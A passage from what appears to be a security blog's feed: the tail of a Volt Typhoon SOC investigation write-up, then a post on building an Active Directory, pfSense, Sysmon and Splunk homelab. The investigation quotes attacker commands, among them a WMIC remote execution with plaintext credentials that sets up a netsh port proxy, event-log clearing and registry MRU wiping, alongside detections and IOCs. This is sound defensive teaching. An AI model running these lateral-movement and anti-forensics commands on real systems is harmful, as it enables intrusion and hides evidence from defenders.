&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wmic /node: server-01 /user: dean-admin /password: uNcr4cK4b1e process call create &quot;cmd.exe /c netsh interface portproxy add v4tov4 listenport=50100 listenaddress=0.0.0.0 connectport=8443 connectaddress=10.2.30.1&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1090/001/&quot;&gt;MITRE ATT&amp;amp;CK - T1090.001 Internal Proxy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;detection-opportunities-5&quot;&gt;Detection Opportunities&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Monitor netsh portproxy modifications&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_wtJx6M9XLhUbQ_9e-e3vXQ.png&quot; alt=&quot;1_wtJx6M9XLhUbQ_9e-e3vXQ.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;8-stealth-and-defense-impairment&quot;&gt;8. Stealth and Defense Impairment&lt;/h3&gt;

&lt;p&gt;The attacker attempted to remove forensic evidence through:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Event log clearing was performed using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wevtutil cl command&lt;/code&gt; to remove Windows Event Logs:&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1685/005/&quot;&gt;MITRE ATT&amp;amp;CK - T1685.005 Clear Windows Event Logs&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;detection-opportunities-6&quot;&gt;Detection Opportunities&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;Detect event log clearing activity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_UOANSov4aGbVq9qLKzh7YQ.png&quot; alt=&quot;1_UOANSov4aGbVq9qLKzh7YQ.png&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Registry modification&lt;/strong&gt;; A command was found using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Remove-ItemProperty&lt;/code&gt; to wipe the Most Recently Used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MRU&lt;/code&gt; record in registry.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Remove-ItemProperty -Path $registryPath -Name MRU0 -ErrorAction SilentlyContinue
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1070/007/&quot;&gt;MITRE ATT&amp;amp;CK - T1070.007 Indicator Removal: Clear Network Connection History and Configurations&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_nGVL9EHVln-JhioJfVZ2-A.png&quot; alt=&quot;1_nGVL9EHVln-JhioJfVZ2-A.png&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;File renaming and extension changes&lt;/strong&gt;; the attacker renamed the file containing a copy of the database and also changed the extension. They modified the original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntds.dit&lt;/code&gt; name to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;temp.dit&lt;/code&gt;, later on to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cisco-up.7z&lt;/code&gt; (Legitimate Resource Name) and finally to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cl64.gif&lt;/code&gt; (Masquerade File Type).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1036/005/&quot;&gt;MITRE ATT&amp;amp;CK - T1036.005 Match Legitimate Resource Name or Location&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1036/008/&quot;&gt;MITRE ATT&amp;amp;CK - T1036.008 Masquerade File Type&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/volt-report/1_c_U62rOOffg5QnClh2O74A.png&quot; alt=&quot;1_c_U62rOOffg5QnClh2O74A.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;indicators-of-compromise-iocs&quot;&gt;Indicators of Compromise (IOCs)&lt;/h2&gt;

&lt;h3 id=&quot;accounts&quot;&gt;Accounts&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;dean-admin&lt;/li&gt;
  &lt;li&gt;voltyp-admin&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;files&quot;&gt;Files&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;iistart.aspx&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;AuditReport.jspx&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;temp.dit&lt;/li&gt;
  &lt;li&gt;cisco-up.7z&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;cl64.gif&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;mimikatz.exe&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;commands&quot;&gt;Commands&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;wmic process call create&lt;/li&gt;
  &lt;li&gt;netsh interface portproxy&lt;/li&gt;
  &lt;li&gt;wevtutil cl&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;network-indicators&quot;&gt;Network Indicators&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;voltyp.com&lt;/li&gt;
  &lt;li&gt;10.2.30.1&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;analytical-notes&quot;&gt;Analytical Notes&lt;/h2&gt;

&lt;p&gt;This investigation demonstrates a structured intrusion pattern consistent with advanced adversary behavior. The attacker relied heavily on legitimate administrative tools, reducing detection likelihood and blending malicious actions into normal system activity.&lt;/p&gt;

&lt;p&gt;Key behavioral indicators included:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Abuse of native Windows utilities (LOLBins)&lt;/li&gt;
  &lt;li&gt;Encoded PowerShell execution&lt;/li&gt;
  &lt;li&gt;Registry-based reconnaissance&lt;/li&gt;
  &lt;li&gt;Systematic log tampering&lt;/li&gt;
  &lt;li&gt;Credential harvesting from system memory&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;key-takeaways-for-soc-analysts&quot;&gt;Key Takeaways for SOC Analysts&lt;/h2&gt;

&lt;p&gt;This investigation demonstrates several core responsibilities expected of a Security Operations Center (SOC) analyst:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Log analysis across multiple telemetry sources&lt;/li&gt;
  &lt;li&gt;Timeline reconstruction and attack chain analysis&lt;/li&gt;
  &lt;li&gt;Threat hunting using SIEM platforms&lt;/li&gt;
  &lt;li&gt;MITRE ATT&amp;amp;CK mapping&lt;/li&gt;
  &lt;li&gt;Identification of persistence mechanisms&lt;/li&gt;
  &lt;li&gt;Detection of credential access activity&lt;/li&gt;
  &lt;li&gt;Investigation of lateral movement techniques&lt;/li&gt;
  &lt;li&gt;Analysis of defense evasion behaviors&lt;/li&gt;
  &lt;li&gt;Documentation and reporting of findings&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By correlating evidence across authentication logs, PowerShell activity, Windows Event Logs, registry activity, and process execution telemetry, a complete picture of the intrusion was reconstructed and mapped to the adversary’s operational objectives.&lt;/p&gt;
</description>
        <pubDate>Mon, 15 Jun 2026 06:00:00 +0000</pubDate>
        <link>https://citadelcybersec.github.io/volt-typhoon-soc-investigation</link>
        <guid isPermaLink="true">https://citadelcybersec.github.io/volt-typhoon-soc-investigation</guid>
        
        <category>soc</category>
        
        <category>soc-analyst</category>
        
        <category>mitre-attck</category>
        
        <category>blue-team</category>
        
        <category>incident-response</category>
        
        <category>threat-hunting</category>
        
        <category>splunk</category>
        
        
      </item>
    
      <item>
        <title>Building a SOC Homelab from Scratch: Active Directory, pfSense, Sysmon and Splunk</title>
        <description>&lt;h3 id=&quot;building-a-soc-homelab-from-scratch-active-directory-pfsense-sysmon-and-splunk&quot;&gt;Building a SOC Homelab from Scratch: Active Directory, pfSense, Sysmon and Splunk&lt;/h3&gt;

&lt;h4 id=&quot;designing-an-enterprise-style-security-monitoring-environment-for-blue-team-skill-development&quot;&gt;Designing an Enterprise-Style Security Monitoring Environment for Blue Team Skill Development&lt;/h4&gt;

&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;One of the most effective ways to develop practical SOC analyst skills is to build and operate a realistic lab environment.&lt;/p&gt;

&lt;p&gt;While certifications provide theoretical knowledge, a homelab allows you to work directly with operating systems, network services, logging pipelines, endpoint telemetry, SIEM platforms, and troubleshooting scenarios that closely resemble real-world environments.&lt;/p&gt;

&lt;p&gt;To strengthen my defensive security skills, I built a small enterprise-style SOC homelab consisting of:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;pfSense firewall&lt;/li&gt;
  &lt;li&gt;Active Directory domain controller&lt;/li&gt;
  &lt;li&gt;Windows 11 endpoint&lt;/li&gt;
  &lt;li&gt;Sysmon endpoint telemetry&lt;/li&gt;
  &lt;li&gt;Windows Event Logging&lt;/li&gt;
  &lt;li&gt;Splunk Enterprise SIEM&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The objective was not simply to deploy these technologies, but to understand how security-relevant events are generated, transported, collected, and analyzed.&lt;/p&gt;

&lt;p&gt;The following diagram shows the final architecture.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab1/diagram0.png&quot; alt=&quot;diagram0.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;architecture-overview&quot;&gt;Architecture Overview&lt;/h3&gt;

&lt;p&gt;The lab consists of four virtual machines running inside VirtualBox.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab1/t1.png&quot; alt=&quot;t1.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Rather than placing all systems inside a single flat network, I divided the environment into multiple security zones connected through pfSense. This design more closely resembles enterprise environments where infrastructure, user endpoints, and security tooling are separated into dedicated network segments.&lt;/p&gt;

&lt;p&gt;The lab uses three internal segments:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab1/t2.png&quot; alt=&quot;t2.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Traffic between these segments is controlled through pfSense firewall rules, allowing only the communications required for authentication, DNS resolution, log forwarding, and administration.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;hypervisor-platform-virtualbox&quot;&gt;Hypervisor Platform: VirtualBox&lt;/h3&gt;

&lt;p&gt;The entire environment runs inside &lt;strong&gt;VirtualBox&lt;/strong&gt; using isolated internal networks.&lt;/p&gt;

&lt;p&gt;This approach provides:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Network segmentation&lt;/li&gt;
  &lt;li&gt;Safe malware testing opportunities in the future&lt;/li&gt;
  &lt;li&gt;Snapshot capability&lt;/li&gt;
  &lt;li&gt;Easy rollback during troubleshooting&lt;/li&gt;
  &lt;li&gt;Minimal hardware requirements&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using virtualization also allows rapid rebuilding of systems and experimentation without impacting production devices.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;pfsense-firewall-network-gateway-and-traffic-control&quot;&gt;pfSense Firewall: Network Gateway and Traffic Control&lt;/h3&gt;

&lt;p&gt;The first component deployed was &lt;strong&gt;pfSense&lt;/strong&gt;, which acts as the security boundary for the environment.&lt;/p&gt;

&lt;h4 id=&quot;network-interfaces&quot;&gt;Network Interfaces&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;WAN Interface:&lt;/strong&gt; Internet connectivity&lt;br /&gt;
&lt;strong&gt;SERVERS Interface:&lt;/strong&gt; 192.168.10.0/24&lt;br /&gt;
&lt;strong&gt;WORKSTATIONS Interface:&lt;/strong&gt; 192.168.20.0/24&lt;br /&gt;
&lt;strong&gt;SECURITY Interface:&lt;/strong&gt; 192.168.30.0/24&lt;/p&gt;

&lt;h4 id=&quot;network-configuration&quot;&gt;Network Configuration&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab1/t3.png&quot; alt=&quot;t3.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;dns-design&quot;&gt;DNS Design&lt;/h4&gt;

&lt;p&gt;Rather than allowing clients to perform direct DNS resolution, I implemented a layered DNS architecture:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Windows clients send DNS requests to Active Directory.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Active Directory resolves internal domain records and forwards unknown queries to pfSense.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; pfSense uses Unbound as a recursive DNS resolver to resolve external domains.&lt;/p&gt;

&lt;p&gt;This design mirrors many enterprise environments where Active Directory serves as the primary DNS authority.&lt;/p&gt;

&lt;h4 id=&quot;firewall-rules&quot;&gt;Firewall Rules&lt;/h4&gt;

&lt;p&gt;To enforce this architecture, I created firewall rules that restrict communication between network segments while allowing the services required for normal operation.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Allow DNS traffic from workstations to Active Directory.&lt;/li&gt;
  &lt;li&gt;Allow Kerberos, LDAP, SMB, and RPC traffic required for domain authentication.&lt;/li&gt;
  &lt;li&gt;Allow Splunk Universal Forwarders to send telemetry to the Splunk server.&lt;/li&gt;
  &lt;li&gt;Allow Active Directory DNS forwarding to pfSense.&lt;/li&gt;
  &lt;li&gt;Block unauthorized traffic between segments by default.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This approach follows the principle of least privilege while generating valuable network telemetry for security monitoring.&lt;/p&gt;

&lt;h4 id=&quot;network-segmentation&quot;&gt;Network Segmentation&lt;/h4&gt;

&lt;p&gt;To more closely resemble a real enterprise environment, I separated the lab into multiple security zones using pfSense interfaces and firewall policies.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab1/t4.png&quot; alt=&quot;t4.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Rather than allowing unrestricted communication between networks, access is controlled through explicit firewall rules based on business requirements.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Workstations can access Active Directory services such as DNS, Kerberos, LDAP, SMB, and RPC.&lt;/li&gt;
  &lt;li&gt;Windows systems can forward logs to Splunk on the SECURITY network.&lt;/li&gt;
  &lt;li&gt;Active Directory can forward DNS requests to pfSense’s Unbound resolver.&lt;/li&gt;
  &lt;li&gt;Unnecessary services such as RDP remain blocked by default.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After implementing segmentation, I validated the configuration by testing both allowed and denied communications. SMB traffic required for domain functionality was successfully permitted, while unauthorized services such as RDP were blocked. These denied connections generate firewall telemetry that can be forwarded to Splunk and used during investigation and detection engineering exercises.&lt;/p&gt;

&lt;h4 id=&quot;logging&quot;&gt;Logging&lt;/h4&gt;

&lt;p&gt;pfSense forwards the following logs to Splunk via &lt;strong&gt;Syslog&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Firewall events&lt;/li&gt;
  &lt;li&gt;DNS Resolver events&lt;/li&gt;
  &lt;li&gt;DHCP activity&lt;/li&gt;
  &lt;li&gt;System logs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This provides valuable network-level visibility alongside endpoint telemetry.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;active-directory-domain-controller-identity-and-authentication-infrastructure&quot;&gt;Active Directory Domain Controller: Identity and Authentication Infrastructure&lt;/h3&gt;

&lt;p&gt;The next component deployed was a &lt;strong&gt;Windows Server 2022&lt;/strong&gt; domain controller.&lt;/p&gt;

&lt;h4 id=&quot;static-configuration&quot;&gt;Static Configuration&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;IP Address:&lt;/strong&gt; 192.168.10.10&lt;br /&gt;
&lt;strong&gt;Gateway:&lt;/strong&gt; 192.168.10.1&lt;br /&gt;
&lt;strong&gt;DNS:&lt;/strong&gt; 192.168.10.10&lt;/p&gt;

&lt;p&gt;The server hosts:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Active Directory Domain Services&lt;/li&gt;
  &lt;li&gt;DNS services&lt;/li&gt;
  &lt;li&gt;Authentication infrastructure&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;dns-forwarding&quot;&gt;DNS Forwarding&lt;/h4&gt;

&lt;p&gt;The DNS server was configured to forward unresolved requests to pfSense.&lt;/p&gt;

&lt;p&gt;This allows the domain controller to remain authoritative for internal records while maintaining internet name resolution.&lt;/p&gt;

&lt;h4 id=&quot;active-directory-population&quot;&gt;Active Directory Population&lt;/h4&gt;

&lt;p&gt;To generate realistic directory activity, I used the &lt;strong&gt;BadBlood&lt;/strong&gt; PowerShell project to create:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Users&lt;/li&gt;
  &lt;li&gt;Groups&lt;/li&gt;
  &lt;li&gt;Organizational Units&lt;/li&gt;
  &lt;li&gt;Service accounts&lt;/li&gt;
  &lt;li&gt;Delegation scenarios&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This creates a more realistic environment for security monitoring and investigation exercises than an empty domain.&lt;/p&gt;

&lt;h4 id=&quot;advanced-audit-policy&quot;&gt;Advanced Audit Policy&lt;/h4&gt;

&lt;p&gt;To improve security visibility, I enabled advanced Windows auditing for key authentication and directory events.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Logon Success and Failure&lt;/li&gt;
  &lt;li&gt;Logoff Events&lt;/li&gt;
  &lt;li&gt;Kerberos Authentication Service Events&lt;/li&gt;
  &lt;li&gt;Kerberos Service Ticket Events&lt;/li&gt;
  &lt;li&gt;Directory Service Access Events&lt;/li&gt;
  &lt;li&gt;File Share auditing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These logs generate valuable telemetry for detecting authentication anomalies and account misuse.&lt;/p&gt;

&lt;h4 id=&quot;sysmon-deployment&quot;&gt;Sysmon Deployment&lt;/h4&gt;

&lt;p&gt;Sysmon was installed using &lt;strong&gt;Olaf Hartong’s&lt;/strong&gt; modular configuration.&lt;/p&gt;

&lt;p&gt;This significantly expands endpoint visibility beyond native Windows logging by capturing:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Process creation&lt;/li&gt;
  &lt;li&gt;Network connections&lt;/li&gt;
  &lt;li&gt;Registry modifications&lt;/li&gt;
  &lt;li&gt;Driver loads&lt;/li&gt;
  &lt;li&gt;File creation events&lt;/li&gt;
  &lt;li&gt;PowerShell activity&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;windows-11-workstation-user-endpoint-simulation&quot;&gt;Windows 11 Workstation: User Endpoint Simulation&lt;/h3&gt;

&lt;p&gt;To simulate a standard enterprise endpoint, I deployed a &lt;strong&gt;Windows 11 Pro&lt;/strong&gt; workstation and joined it to the Active Directory domain.&lt;/p&gt;

&lt;h4 id=&quot;static-configuration-1&quot;&gt;Static Configuration&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;IP Address:&lt;/strong&gt; 192.168.20.10&lt;br /&gt;
&lt;strong&gt;Gateway:&lt;/strong&gt; 192.168.20.1&lt;br /&gt;
&lt;strong&gt;DNS:&lt;/strong&gt; 192.168.10.10&lt;/p&gt;

&lt;h4 id=&quot;endpoint-visibility&quot;&gt;Endpoint Visibility&lt;/h4&gt;

&lt;p&gt;The workstation was configured with:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Sysmon&lt;/li&gt;
  &lt;li&gt;PowerShell Logging&lt;/li&gt;
  &lt;li&gt;Windows Event Logging&lt;/li&gt;
  &lt;li&gt;Splunk Universal Forwarder&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This endpoint generates realistic user activity that can be monitored and investigated through Splunk.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Interactive logons&lt;/li&gt;
  &lt;li&gt;PowerShell execution&lt;/li&gt;
  &lt;li&gt;Process creation&lt;/li&gt;
  &lt;li&gt;DNS queries&lt;/li&gt;
  &lt;li&gt;Network connections&lt;/li&gt;
  &lt;li&gt;Authentication events&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;splunk-enterprise-siem-centralized-log-collection-and-analysis&quot;&gt;Splunk Enterprise SIEM: Centralized Log Collection and Analysis&lt;/h3&gt;

&lt;p&gt;The final component deployed was a dedicated &lt;strong&gt;Debian 12&lt;/strong&gt; server running Splunk Enterprise.&lt;/p&gt;

&lt;h4 id=&quot;static-configuration-2&quot;&gt;Static Configuration&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;IP Address:&lt;/strong&gt; 192.168.30.10&lt;br /&gt;
&lt;strong&gt;Gateway:&lt;/strong&gt; 192.168.30.1&lt;br /&gt;
&lt;strong&gt;DNS:&lt;/strong&gt; 192.168.10.10&lt;/p&gt;

&lt;h4 id=&quot;why-debian&quot;&gt;Why Debian?&lt;/h4&gt;

&lt;p&gt;I chose Debian because it provides:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Stability&lt;/li&gt;
  &lt;li&gt;Long-term support&lt;/li&gt;
  &lt;li&gt;Low resource consumption&lt;/li&gt;
  &lt;li&gt;Excellent compatibility with Splunk&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To minimize resource usage, I installed a headless version without a graphical interface.&lt;/p&gt;

&lt;h4 id=&quot;log-sources&quot;&gt;Log Sources&lt;/h4&gt;

&lt;p&gt;Splunk receives telemetry from multiple sources:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab1/t5.png&quot; alt=&quot;t5.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;data-flow&quot;&gt;Data Flow&lt;/h4&gt;

&lt;p&gt;The resulting telemetry pipeline is:&lt;/p&gt;

&lt;p&gt;Endpoint Activity → Windows Logs / Sysmon → Splunk Forwarders → Splunk&lt;/p&gt;

&lt;p&gt;Network Activity → pfSense Syslog → Splunk&lt;/p&gt;

&lt;p&gt;This creates a centralized platform for searching, correlating, and investigating security events.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;splunk-universal-forwarders-endpoint-log-collection&quot;&gt;Splunk Universal Forwarders: Endpoint Log Collection&lt;/h3&gt;

&lt;p&gt;Collecting logs is one of the most important aspects of any SOC environment. To centralize telemetry from the Windows systems, I deployed Splunk Universal Forwarders on both the Active Directory server and the Windows 11 workstation.&lt;/p&gt;

&lt;p&gt;The forwarders were configured to send security-relevant event data to the Splunk Enterprise instance running on the Debian server.&lt;/p&gt;

&lt;h4 id=&quot;collected-log-sources&quot;&gt;Collected Log Sources&lt;/h4&gt;

&lt;p&gt;The following Windows Event Log channels were configured for collection:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Security&lt;/li&gt;
  &lt;li&gt;System&lt;/li&gt;
  &lt;li&gt;Application&lt;/li&gt;
  &lt;li&gt;Sysmon Operational&lt;/li&gt;
  &lt;li&gt;PowerShell Operational&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To achieve this, I configured the appropriate inputs through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inputs.conf&lt;/code&gt; file on each endpoint.&lt;/p&gt;

&lt;h4 id=&quot;why-collect-these-logs&quot;&gt;Why Collect These Logs?&lt;/h4&gt;

&lt;p&gt;Each log source contributes a different perspective during investigations:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab1/t6.png&quot; alt=&quot;t6.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;While native Windows logs provide valuable information, Sysmon significantly expands endpoint visibility and enables more detailed investigations and detections.&lt;/p&gt;

&lt;h4 id=&quot;telemetry-flow&quot;&gt;Telemetry Flow&lt;/h4&gt;

&lt;p&gt;The resulting data flow is straightforward:&lt;/p&gt;

&lt;p&gt;Windows Endpoint → Splunk Universal Forwarder → Splunk Enterprise&lt;/p&gt;

&lt;p&gt;This architecture ensures that endpoint activity is centralized within the SIEM, allowing events from multiple systems to be searched, correlated, and investigated from a single location.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab1/diagram1.png&quot; alt=&quot;diagram1.png&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;key-design-decisions&quot;&gt;Key Design Decisions&lt;/h3&gt;

&lt;p&gt;Several design decisions were intentionally made to improve visibility and mimic enterprise environments.&lt;/p&gt;

&lt;h4 id=&quot;centralized-authentication&quot;&gt;Centralized Authentication&lt;/h4&gt;
&lt;p&gt;Active Directory serves as the authentication authority for all domain resources.&lt;/p&gt;

&lt;h4 id=&quot;controlled-dns-resolution&quot;&gt;Controlled DNS Resolution&lt;/h4&gt;
&lt;p&gt;All DNS traffic is forced through Active Directory and pfSense.&lt;/p&gt;

&lt;h4 id=&quot;layered-logging&quot;&gt;Layered Logging&lt;/h4&gt;
&lt;p&gt;Both network and endpoint telemetry are collected.&lt;/p&gt;

&lt;h4 id=&quot;centralized-siem&quot;&gt;Centralized SIEM&lt;/h4&gt;
&lt;p&gt;All logs are aggregated into Splunk for correlation and investigation.&lt;/p&gt;

&lt;h4 id=&quot;network-segmentation-and-least-privilege&quot;&gt;Network Segmentation and Least Privilege&lt;/h4&gt;
&lt;p&gt;Systems are separated into dedicated network zones for servers, workstations, and security tooling. Communication between segments is restricted through pfSense firewall rules that allow only the services required for business functionality.&lt;/p&gt;

&lt;p&gt;This design follows the principle of least privilege and creates opportunities to monitor both allowed and denied traffic. Because firewall events are forwarded to Splunk, the environment can be used to investigate blocked connections, validate access controls, and develop detections based on network policy violations.&lt;/p&gt;

&lt;h4 id=&quot;realistic-active-directory-environment&quot;&gt;Realistic Active Directory Environment&lt;/h4&gt;
&lt;p&gt;BadBlood introduces realistic directory complexity that supports threat hunting and detection exercises.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;what-this-lab-enables&quot;&gt;What This Lab Enables&lt;/h3&gt;

&lt;p&gt;With the foundation complete, the environment now supports:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SOC analyst investigations&lt;/li&gt;
  &lt;li&gt;Detection engineering exercises&lt;/li&gt;
  &lt;li&gt;Threat hunting&lt;/li&gt;
  &lt;li&gt;Windows event analysis&lt;/li&gt;
  &lt;li&gt;Authentication monitoring&lt;/li&gt;
  &lt;li&gt;Active Directory security testing&lt;/li&gt;
  &lt;li&gt;Network segmentation monitoring&lt;/li&gt;
  &lt;li&gt;Firewall log analysis&lt;/li&gt;
  &lt;li&gt;Access control validation&lt;/li&gt;
  &lt;li&gt;Splunk dashboard creation&lt;/li&gt;
  &lt;li&gt;Incident response simulations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most importantly, it provides hands-on experience troubleshooting the kinds of issues that frequently appear in real enterprise environments.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;Building this SOC homelab provided significantly more practical learning than simply studying technologies in isolation.&lt;/p&gt;

&lt;p&gt;Beyond deploying the infrastructure itself, the project required understanding how authentication, DNS resolution, endpoint telemetry, logging pipelines, SIEM platforms, network segmentation, and firewall policy design interact within a security monitoring environment.&lt;/p&gt;

&lt;p&gt;The completed lab now serves as a foundation for future projects involving detection engineering, threat hunting, attack simulation, and security monitoring workflows.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;In the next article, I will cover the challenges encountered during deployment, including log ingestion problems, Sysmon collection issues, DNS troubleshooting, firewall misconfigurations, network segmentation challenges, and time synchronization issues across the environment.&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Sun, 07 Jun 2026 07:00:00 +0000</pubDate>
        <link>https://citadelcybersec.github.io/building-a-homelab-from-scratch</link>
        <guid isPermaLink="true">https://citadelcybersec.github.io/building-a-homelab-from-scratch</guid>
        
        <category>homelab</category>
        
        <category>soc-lab</category>
        
        <category>cybersecurity-lab</category>
        
        <category>blue-team</category>
        
        <category>splunk</category>
        
        <category>networking</category>
        
        
      </item>
    
      <item>
        <title>I Completed 100 Cybersecurity Labs. Why Build a SOC Homelab Too?</title>
        <description>&lt;h3 id=&quot;i-completed-100-cybersecurity-labs-why-build-a-soc-homelabtoo&quot;&gt;I Completed 100 Cybersecurity Labs. Why Build a SOC Homelab Too?&lt;/h3&gt;

